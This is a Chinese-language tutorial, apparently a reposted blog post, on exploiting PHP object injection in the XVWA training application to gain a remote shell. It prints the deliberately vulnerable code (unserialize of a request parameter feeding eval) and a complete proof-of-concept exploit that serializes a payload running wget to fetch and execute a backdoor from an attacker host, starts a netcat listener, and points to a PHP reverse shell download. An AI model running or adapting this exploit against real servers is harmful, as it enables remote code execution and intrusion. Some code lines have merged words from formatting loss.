PHP序列化/對象注入漏洞分析

字號:


    本文是關(guān)于PHP序列化/對象注入漏洞分析的短篇,里面講述了如何獲取主機(jī)的遠(yuǎn)程shell。
    如果你想自行測試這個漏洞,你可以通過 XVWA 和 Kevgir 進(jìn)行操作。
    漏洞利用的第一步,我們開始測試目標(biāo)應(yīng)用是否存在PHP序列化。為了輔助測試,我們使用了Burpsuite的SuperSerial插件,下載地址在 這里 。它會被動檢測PHP和Java序列化的存在。
    分析
    我們檢測到了應(yīng)用里使用了PHP序列化,所以我們可以開始確認(rèn)應(yīng)用代碼里是否含有遠(yuǎn)程代碼執(zhí)行漏洞。需要注意的是,序列化對象是從參數(shù)“r”取來的:
    $var1=unserialize($_REQUEST['r']);
    然后再進(jìn)行反序列化和eval:
    eval($this->inject);
    接著,執(zhí)行:
    echo "<br/>".$var1[0]." - ".$var1[1];
    有了這些,如果我們繞過了參數(shù)r的PHP序列化對象,那么就可以獲得代碼執(zhí)行漏洞了!
    < ?php 
      error_reporting(E_ALL);
      class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
          if(isset($this->inject)){
            eval($this->inject);
          }
        }
      }
    //?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
      if(isset($_REQUEST['r'])){ 
        $var1=unserialize($_REQUEST['r']);
         
        if(is_array($var1)){ 
          echo "
    ".$var1[0]." - ".$var1[1];
        }
      }else{
        echo "parameter is missing";
      }
    ? >
    漏洞利用
    為了利用這個漏洞,我們創(chuàng)建了一個簡單的PHP腳本來自動生成PHP序列化payload,以及在目標(biāo)遠(yuǎn)程主機(jī)上運行我們想要的命令。然后,我創(chuàng)建了一個通用的PHP反彈shell,下載地址如下:
    http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
    注意: 你需要把這個文件傳到web服務(wù)器上,改動反彈shell腳本里面的本地ip和端口,以及下面的利用代碼:
    <?php 
    /*
    PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
    A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
    Shouts to @jstnkndy @yappare for theassist!
    NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
    */
    print"==============================================================================\r\n";
    print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
    print"==============================================================================\r\n";
    print "[+] Generating serializedpayload...[OK]\r\n";
    print "[+] Launching reverselistener...[OK]\r\n";
    system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
    class PHPObjectInjection
    {
      //CHANGE URL/FILENAME TO MATCH YOUR SETUP
     public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
    }
    $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
    $url = $url . urlencode(serialize(newPHPObjectInjection));
    print "[+] Sendingexploit...[OK]\r\n";
    print "[+] Dropping down tointeractive shell...[OK]\r\n";
    print"==============================================================================\r\n";
    $response =file_get_contents("$url");
    ? >
    Demo
    現(xiàn)在咱們的利用腳本已經(jīng)就緒,我們可以執(zhí)行它來得到遠(yuǎn)程主機(jī)上的反彈shell,用來遠(yuǎn)程執(zhí)行命令!
    以上就是本文的全部內(nèi)容,希望對大家學(xué)習(xí)php程序設(shè)計有所幫助。